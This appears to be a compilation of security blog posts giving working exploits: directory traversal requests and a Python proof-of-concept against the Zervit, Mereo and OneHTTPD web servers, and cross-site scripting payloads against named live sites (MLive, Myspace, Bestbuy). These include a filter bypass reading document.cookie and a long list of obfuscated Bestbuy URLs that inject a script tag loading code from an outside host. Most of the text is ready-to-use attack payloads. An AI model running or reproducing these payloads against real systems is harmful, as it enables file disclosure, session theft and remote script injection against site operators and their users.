Zervit 0.4 Directory Traversal

It's possible to navigate the local file system of a server running Zervit 0.4 by using a specially crafted HTTP request. The resource path must be relative and the slashes unencoded.

Exploit:
GET /\../ HTTP/1.1

Host: localhost



or


GET //../ HTTP/1.1

Host: localhost


PoC:
zervit0.4-traversal.py

import sys, struct, socket
host ='localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET /' + '\..' * 32 + '/ HTTP/1.1\r\n'
       'Host: ' + host + '\r\n\r\n')

while 1:
    response = s.recv(8192)
    if not response: break
    print response

Mereo 1.9.1 Directory Traversal

It's possible to navigate the local file system of a server running Mereo 1.9.1 by using a specially crafted URL.

Exploit: %80../

PoC: http://localhost/%80../%80../%80../%80../%80../%80../%80../%80../

OneHTTPD 0.6 Directory Traversal

It's possible to navigate the local file system of a server running OneHTTPD 0.6 by using a specially crafted url.

http://localhost/%C2../%C2../%C2../%C2../%C2../%C2../%C2../%C2../

Free Rein - MLive.com

MLive's profile system has no XSS protection. HTML of any sort can be entered in the About Me field.

http://connect.mlive.com/user/XSSBlog/index.html

Exploiting The Meta Tag - Local.Myspace.com

Despite the lack of HTML encoding of data passed to the vulnerable market field, tags cannot be used as sending a less than character followed by any alphabetic character redirects the user to a presumably security related error page. But by injecting the http-equiv attribute, the vulnerable meta tag can be repurposed.

http://local.myspace.com/index.cfm?fuseaction=local.hub&dma=467&market=0;http://cross-site-scripting.blogspot.com/"http-equiv="refresh"

Bypassing Myspace IM XSS Filters - Myspace.com

The filtering Myspace IM uses is rather aggressive. Regardless of context, document. is changed to document· and eval() to ..). By using percent-encoding and JavaScript escaped hex sequences this can be circumvented.

The vulnerability (only works when logged in):
http://myspace.com/index.cfm?fuseaction="};alert(0);var x={"":"

The vulnerability re-encoded to bypass IM filters:
http://myspace.com/index.cfm?fuseaction=%22};%65val('alert(document%5Cx2Ecookie)'%29;var%20x={%22%22:%22

Breaking Things With Null - Classifieds.Myspace.Com

Sometimes passing special characters through a query string can cause in strange behavior. Using URL encoding we can search for the null character on classifieds.myspace.com. The result is an error page notifying the user that the server is too busy, and it just so happens that the retry link has a Chrome and IE compatible XSS vulnerability.



http://classifieds.myspace.com/browse/?q=%00"onmouseover="alert(0);

And with styling:

http://classifieds.myspace.com/browse/?q=%00"onmouseover="alert(0);"style="float:left;height:999px;width:999px;margin-top:-400px

Injecting Script Tags Without Access to Less Than and Greater Than Characters - Bestbuy.com

Many times an XSS vulnerability allows for injection of JavaScript, but will (seemingly) prohibit XHTML by encoding < and > respectively as &lt; and &gt;. This certainly complicates matters, but with a little effort and obfuscation we can sidestep such preventative measures. To assist in such tasks I created XSS JavaScript Obfuscator (creative name, I know).

Let's take a look at http://www.bestbuy.com/ to see what can be done with such utilities. As always the first thing we need to do is find the vulnerability. A little testing reveals that the id field is vulnerable to JavaScript injection.

http://www.bestbuy.com/site/olspage.jsp?id=testA.,:;\'"<>()[]{}&type=category

And here is the vulnerable line of JavaScript:

ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "testA.,:;\'"()[]{}- page-detail-404-error", null, "/", triggerParms["domain"])

By in injecting ",null,"/",triggerParms["domain"]);var%20x%3Dnew%20Array(" we can turn the vulnerable block of code into this:

ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "",null,"/",triggerParms["domain"]);var x=new Array("- page-detail-404-error", null, "/", triggerParms["domain"]);

At this point we can easily inject JavaScript

http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);alert('Hello,%20World!');var%20x%3Dnew%20Array("&type=category

But with less than and greater than characters blocked how can we include an off-site script? This is where the obfuscator comes in. To use it, we're going to have to split our attack into parts.

Url Prefix	http://www.bestbuy.com/site/olspage.jsp?id=
Url Suffix	&type=category
Attack Vector Prefix	",null,"/",triggerParms["domain"]);
Attack Vector Suffix	var x=new Array("
Code	<script type="text/javascript" src="http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js"></script>

Now that we've got our attack broken up lets populate the fields of XSS JavaScript Obfuscator (embedded at the bottom of this post) and generate some links for http://www.bestbuy.com

String.fromCharCode	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,45,106,97,118,97,115,99,114,105,112,116,45,111,98,102,117,115,99,97,116,111,114,46,103,111,111,103,108,101,99,111,100,101,46,99,111,109,47,115,118,110,47,116,114,117,110,107,47,88,83,83,74,97,118,97,115,99,114,105,112,116,79,98,102,117,115,99,97,116,111,114,47,116,101,115,116,46,106,115,34,62,60,47,115,99,114,105,112,116,62));var x=new Array("&type=category
String.fromCharCode + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28String.fromCharCode%2860%2C115%2C99%2C114%2C105%2C112%2C116%2C32%2C116%2C121%2C112%2C101%2C61%2C34%2C116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C34%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C120%2C115%2C115%2C45%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C45%2C111%2C98%2C102%2C117%2C115%2C99%2C97%2C116%2C111%2C114%2C46%2C103%2C111%2C111%2C103%2C108%2C101%2C99%2C111%2C100%2C101%2C46%2C99%2C111%2C109%2C47%2C115%2C118%2C110%2C47%2C116%2C114%2C117%2C110%2C107%2C47%2C88%2C83%2C83%2C74%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C79%2C98%2C102%2C117%2C115%2C99%2C97%2C116%2C111%2C114%2C47%2C116%2C101%2C115%2C116%2C46%2C106%2C115%2C34%2C62%2C60%2C47%2C115%2C99%2C114%2C105%2C112%2C116%2C62%29%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
String.fromCharCode + Complete Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%36%30%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%33%32%2c%31%31%36%2c%31%32%31%2c%31%31%32%2c%31%30%31%2c%36%31%2c%33%34%2c%31%31%36%2c%31%30%31%2c%31%32%30%2c%31%31%36%2c%34%37%2c%31%30%36%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%33%34%2c%33%32%2c%31%31%35%2c%31%31%34%2c%39%39%2c%36%31%2c%33%34%2c%31%30%34%2c%31%31%36%2c%31%31%36%2c%31%31%32%2c%35%38%2c%34%37%2c%34%37%2c%31%32%30%2c%31%31%35%2c%31%31%35%2c%34%35%2c%31%30%36%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%34%35%2c%31%31%31%2c%39%38%2c%31%30%32%2c%31%31%37%2c%31%31%35%2c%39%39%2c%39%37%2c%31%31%36%2c%31%31%31%2c%31%31%34%2c%34%36%2c%31%30%33%2c%31%31%31%2c%31%31%31%2c%31%30%33%2c%31%30%38%2c%31%30%31%2c%39%39%2c%31%31%31%2c%31%30%30%2c%31%30%31%2c%34%36%2c%39%39%2c%31%31%31%2c%31%30%39%2c%34%37%2c%31%31%35%2c%31%31%38%2c%31%31%30%2c%34%37%2c%31%31%36%2c%31%31%34%2c%31%31%37%2c%31%31%30%2c%31%30%37%2c%34%37%2c%38%38%2c%38%33%2c%38%33%2c%37%34%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%37%39%2c%39%38%2c%31%30%32%2c%31%31%37%2c%31%31%35%2c%39%39%2c%39%37%2c%31%31%36%2c%31%31%31%2c%31%31%34%2c%34%37%2c%31%31%36%2c%31%30%31%2c%31%31%35%2c%31%31%36%2c%34%36%2c%31%30%36%2c%31%31%35%2c%33%34%2c%36%32%2c%36%30%2c%34%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%36%32%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category
Unescape Partial Encode	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%3Cscript%20type%3D%22text/javascript%22%20src%3D%22http%3A//xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%22%3E%3C/script%3E'));var x=new Array("&type=category
Unescape Partial Encode + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%253Cscript%2520type%253D%2522text/javascript%2522%2520src%253D%2522http%253A//xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%2522%253E%253C/script%253E%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
Unescape Partial Encode + Full Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%33%43%73%63%72%69%70%74%25%32%30%74%79%70%65%25%33%44%25%32%32%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%25%32%32%25%32%30%73%72%63%25%33%44%25%32%32%68%74%74%70%25%33%41%2f%2f%78%73%73%2d%6a%61%76%61%73%63%72%69%70%74%2d%6f%62%66%75%73%63%61%74%6f%72%2e%67%6f%6f%67%6c%65%63%6f%64%65%2e%63%6f%6d%2f%73%76%6e%2f%74%72%75%6e%6b%2f%58%53%53%4a%61%76%61%73%63%72%69%70%74%4f%62%66%75%73%63%61%74%6f%72%2f%74%65%73%74%2e%6a%73%25%32%32%25%33%45%25%33%43%2f%73%63%72%69%70%74%25%33%45%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category
Unescape Full Encode	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%78%73%73%2d%6a%61%76%61%73%63%72%69%70%74%2d%6f%62%66%75%73%63%61%74%6f%72%2e%67%6f%6f%67%6c%65%63%6f%64%65%2e%63%6f%6d%2f%73%76%6e%2f%74%72%75%6e%6b%2f%58%53%53%4a%61%76%61%73%63%72%69%70%74%4f%62%66%75%73%63%61%74%6f%72%2f%74%65%73%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'));var x=new Array("&type=category
Unescape Full Encode + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%253c%2573%2563%2572%2569%2570%2574%2520%2574%2579%2570%2565%253d%2522%2574%2565%2578%2574%252f%256a%2561%2576%2561%2573%2563%2572%2569%2570%2574%2522%2520%2573%2572%2563%253d%2522%2568%2574%2574%2570%253a%252f%252f%2578%2573%2573%252d%256a%2561%2576%2561%2573%2563%2572%2569%2570%2574%252d%256f%2562%2566%2575%2573%2563%2561%2574%256f%2572%252e%2567%256f%256f%2567%256c%2565%2563%256f%2564%2565%252e%2563%256f%256d%252f%2573%2576%256e%252f%2574%2572%2575%256e%256b%252f%2558%2553%2553%254a%2561%2576%2561%2573%2563%2572%2569%2570%2574%254f%2562%2566%2575%2573%2563%2561%2574%256f%2572%252f%2574%2565%2573%2574%252e%256a%2573%2522%253e%253c%252f%2573%2563%2572%2569%2570%2574%253e%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
Unescape Full Encode + Full Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%34%25%37%39%25%37%30%25%36%35%25%33%64%25%32%32%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%32%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%32%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%37%38%25%37%33%25%37%33%25%32%64%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%64%25%36%66%25%36%32%25%36%36%25%37%35%25%37%33%25%36%33%25%36%31%25%37%34%25%36%66%25%37%32%25%32%65%25%36%37%25%36%66%25%36%66%25%36%37%25%36%63%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%37%36%25%36%65%25%32%66%25%37%34%25%37%32%25%37%35%25%36%65%25%36%62%25%32%66%25%35%38%25%35%33%25%35%33%25%34%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%34%66%25%36%32%25%36%36%25%37%35%25%37%33%25%36%33%25%36%31%25%37%34%25%36%66%25%37%32%25%32%66%25%37%34%25%36%35%25%37%33%25%37%34%25%32%65%25%36%61%25%37%33%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category
Unescape Unicode	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u0020%u0074%u0079%u0070%u0065%u003d%u0022%u0074%u0065%u0078%u0074%u002f%u006a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u0022%u0020%u0073%u0072%u0063%u003d%u0022%u0068%u0074%u0074%u0070%u003a%u002f%u002f%u0078%u0073%u0073%u002d%u006a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u002d%u006f%u0062%u0066%u0075%u0073%u0063%u0061%u0074%u006f%u0072%u002e%u0067%u006f%u006f%u0067%u006c%u0065%u0063%u006f%u0064%u0065%u002e%u0063%u006f%u006d%u002f%u0073%u0076%u006e%u002f%u0074%u0072%u0075%u006e%u006b%u002f%u0058%u0053%u0053%u004a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u004f%u0062%u0066%u0075%u0073%u0063%u0061%u0074%u006f%u0072%u002f%u0074%u0065%u0073%u0074%u002e%u006a%u0073%u0022%u003e%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e'));var x=new Array("&type=category
Unescape Unicode + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%25u003c%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u0020%25u0074%25u0079%25u0070%25u0065%25u003d%25u0022%25u0074%25u0065%25u0078%25u0074%25u002f%25u006a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u0022%25u0020%25u0073%25u0072%25u0063%25u003d%25u0022%25u0068%25u0074%25u0074%25u0070%25u003a%25u002f%25u002f%25u0078%25u0073%25u0073%25u002d%25u006a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u002d%25u006f%25u0062%25u0066%25u0075%25u0073%25u0063%25u0061%25u0074%25u006f%25u0072%25u002e%25u0067%25u006f%25u006f%25u0067%25u006c%25u0065%25u0063%25u006f%25u0064%25u0065%25u002e%25u0063%25u006f%25u006d%25u002f%25u0073%25u0076%25u006e%25u002f%25u0074%25u0072%25u0075%25u006e%25u006b%25u002f%25u0058%25u0053%25u0053%25u004a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u004f%25u0062%25u0066%25u0075%25u0073%25u0063%25u0061%25u0074%25u006f%25u0072%25u002f%25u0074%25u0065%25u0073%25u0074%25u002e%25u006a%25u0073%25u0022%25u003e%25u003c%25u002f%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u003e%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
Unescape Unicode + Full Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%75%30%30%33%63%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%30%25%75%30%30%37%34%25%75%30%30%37%39%25%75%30%30%37%30%25%75%30%30%36%35%25%75%30%30%33%64%25%75%30%30%32%32%25%75%30%30%37%34%25%75%30%30%36%35%25%75%30%30%37%38%25%75%30%30%37%34%25%75%30%30%32%66%25%75%30%30%36%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%32%25%75%30%30%32%30%25%75%30%30%37%33%25%75%30%30%37%32%25%75%30%30%36%33%25%75%30%30%33%64%25%75%30%30%32%32%25%75%30%30%36%38%25%75%30%30%37%34%25%75%30%30%37%34%25%75%30%30%37%30%25%75%30%30%33%61%25%75%30%30%32%66%25%75%30%30%32%66%25%75%30%30%37%38%25%75%30%30%37%33%25%75%30%30%37%33%25%75%30%30%32%64%25%75%30%30%36%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%64%25%75%30%30%36%66%25%75%30%30%36%32%25%75%30%30%36%36%25%75%30%30%37%35%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%36%31%25%75%30%30%37%34%25%75%30%30%36%66%25%75%30%30%37%32%25%75%30%30%32%65%25%75%30%30%36%37%25%75%30%30%36%66%25%75%30%30%36%66%25%75%30%30%36%37%25%75%30%30%36%63%25%75%30%30%36%35%25%75%30%30%36%33%25%75%30%30%36%66%25%75%30%30%36%34%25%75%30%30%36%35%25%75%30%30%32%65%25%75%30%30%36%33%25%75%30%30%36%66%25%75%30%30%36%64%25%75%30%30%32%66%25%75%30%30%37%33%25%75%30%30%37%36%25%75%30%30%36%65%25%75%30%30%32%66%25%75%30%30%37%34%25%75%30%30%37%32%25%75%30%30%37%35%25%75%30%30%36%65%25%75%30%30%36%62%25%75%30%30%32%66%25%75%30%30%35%38%25%75%30%30%35%33%25%75%30%30%35%33%25%75%30%30%34%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%34%66%25%75%30%30%36%32%25%75%30%30%36%36%25%75%30%30%37%35%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%36%31%25%75%30%30%37%34%25%75%30%30%36%66%25%75%30%30%37%32%25%75%30%30%32%66%25%75%30%30%37%34%25%75%30%30%36%35%25%75%30%30%37%33%25%75%30%30%37%34%25%75%30%30%32%65%25%75%30%30%36%61%25%75%30%30%37%33%25%75%30%30%32%32%25%75%30%30%33%65%25%75%30%30%33%63%25%75%30%30%32%66%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%33%65%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category
Hex String	http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write('\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x78\x73\x73\x2d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x2d\x6f\x62\x66\x75\x73\x63\x61\x74\x6f\x72\x2e\x67\x6f\x6f\x67\x6c\x65\x63\x6f\x64\x65\x2e\x63\x6f\x6d\x2f\x73\x76\x6e\x2f\x74\x72\x75\x6e\x6b\x2f\x58\x53\x53\x4a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72\x2f\x74\x65\x73\x74\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');var x=new Array("&type=category
Hext String + Partial Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28%27%5Cx3c%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx20%5Cx74%5Cx79%5Cx70%5Cx65%5Cx3d%5Cx22%5Cx74%5Cx65%5Cx78%5Cx74%5Cx2f%5Cx6a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx22%5Cx20%5Cx73%5Cx72%5Cx63%5Cx3d%5Cx22%5Cx68%5Cx74%5Cx74%5Cx70%5Cx3a%5Cx2f%5Cx2f%5Cx78%5Cx73%5Cx73%5Cx2d%5Cx6a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx2d%5Cx6f%5Cx62%5Cx66%5Cx75%5Cx73%5Cx63%5Cx61%5Cx74%5Cx6f%5Cx72%5Cx2e%5Cx67%5Cx6f%5Cx6f%5Cx67%5Cx6c%5Cx65%5Cx63%5Cx6f%5Cx64%5Cx65%5Cx2e%5Cx63%5Cx6f%5Cx6d%5Cx2f%5Cx73%5Cx76%5Cx6e%5Cx2f%5Cx74%5Cx72%5Cx75%5Cx6e%5Cx6b%5Cx2f%5Cx58%5Cx53%5Cx53%5Cx4a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx4f%5Cx62%5Cx66%5Cx75%5Cx73%5Cx63%5Cx61%5Cx74%5Cx6f%5Cx72%5Cx2f%5Cx74%5Cx65%5Cx73%5Cx74%5Cx2e%5Cx6a%5Cx73%5Cx22%5Cx3e%5Cx3c%5Cx2f%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3e%27%29%3Bvar%20x%3Dnew%20Array%28%22&type=category
Hex String + Full Url Encode	http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%5c%78%33%63%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%30%5c%78%37%34%5c%78%37%39%5c%78%37%30%5c%78%36%35%5c%78%33%64%5c%78%32%32%5c%78%37%34%5c%78%36%35%5c%78%37%38%5c%78%37%34%5c%78%32%66%5c%78%36%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%32%5c%78%32%30%5c%78%37%33%5c%78%37%32%5c%78%36%33%5c%78%33%64%5c%78%32%32%5c%78%36%38%5c%78%37%34%5c%78%37%34%5c%78%37%30%5c%78%33%61%5c%78%32%66%5c%78%32%66%5c%78%37%38%5c%78%37%33%5c%78%37%33%5c%78%32%64%5c%78%36%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%64%5c%78%36%66%5c%78%36%32%5c%78%36%36%5c%78%37%35%5c%78%37%33%5c%78%36%33%5c%78%36%31%5c%78%37%34%5c%78%36%66%5c%78%37%32%5c%78%32%65%5c%78%36%37%5c%78%36%66%5c%78%36%66%5c%78%36%37%5c%78%36%63%5c%78%36%35%5c%78%36%33%5c%78%36%66%5c%78%36%34%5c%78%36%35%5c%78%32%65%5c%78%36%33%5c%78%36%66%5c%78%36%64%5c%78%32%66%5c%78%37%33%5c%78%37%36%5c%78%36%65%5c%78%32%66%5c%78%37%34%5c%78%37%32%5c%78%37%35%5c%78%36%65%5c%78%36%62%5c%78%32%66%5c%78%35%38%5c%78%35%33%5c%78%35%33%5c%78%34%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%34%66%5c%78%36%32%5c%78%36%36%5c%78%37%35%5c%78%37%33%5c%78%36%33%5c%78%36%31%5c%78%37%34%5c%78%36%66%5c%78%37%32%5c%78%32%66%5c%78%37%34%5c%78%36%35%5c%78%37%33%5c%78%37%34%5c%78%32%65%5c%78%36%61%5c%78%37%33%5c%78%32%32%5c%78%33%65%5c%78%33%63%5c%78%32%66%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%33%65%27%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&type=category

And here we are with several links containing obfuscated JavaScript that will inject a script tag. Testing should reveal which links work best; generally the obfuscation methods ending with a partial URL encode are the most compatible.

XSS JavaScript Obfuscator

Url Prefix	Url Suffix
Attack Vector Prefix	Attack Vector Suffix
Code	Encoded Javascript
Partial Url Encode	Complete Url Encode
Decode Method String.fromCharCode call unescape partial encode call unescape full encode call unescape full unicode encode call hex string	Decode Return Call document.write eval